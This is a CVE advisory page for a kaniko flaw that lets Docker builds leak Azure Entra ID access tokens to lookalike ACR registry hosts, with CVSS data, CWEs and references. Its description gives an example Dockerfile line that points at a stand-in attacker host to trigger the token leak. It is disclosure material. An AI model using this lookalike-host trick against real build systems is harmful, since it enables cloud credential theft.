CVE-2026-105769
published critical CVSS 3.1 · 9.3kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Package status and fixes
| Distro / vendor | Release | Package / product | Publisher status | Fixed build | Source |
|---|---|---|---|---|---|
| chainguard | — | github.com/chainguard-dev/kanikokaniko · 0 to < 1.25.20 · Other versions: unaffected | Affected | Not stated | chainguard |
Description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Related advisories
Vendor advisories explicitly linked to this CVE.
No linked advisories were found for this CVE.
Assessment
CVSS risk assessment and additional context for this vulnerability.
- CVSS version
- 3.1
- Base score
- 9.3 / 10
- Severity
- critical
- Provider
- chainguard · cna
- Vector string
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
- Scenarios
- en: GENERAL
Publisher product statements
Version ranges and default statuses as reported by each provider.
| Vendor | Product | Version status | Source |
|---|---|---|---|
| chainguard | kaniko | 0 to < 1.25.20 (affected · semver)Default: unaffected | chainguard · cna |
Weaknesses
2- CWE-346 CWE-346: Origin Validation Error
- CWE-522 CWE-522: Insufficiently Protected Credentials
References
5- https://github.com/chainguard-forks/kaniko/pull/495
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- GHSA-5q7h-w9jf-cx97 https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- GO-2026-6225 https://pkg.go.dev/vuln/GO-2026-6225
Provider assertions
2chainguard · cna
kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
CISA-ADP · adp
CISA ADP Vulnrichment
Provenance
- Schema
- 5.2
- Searchable
- yes
- Content hash
- ae8f487801b2365aafb042039c7b555d2e3d6b321e7060ec3917f2c2c5d1ee6d
- Ingested
- 02 Nov 2026, 18:36:09 UTC
- Source record
- Official CVE record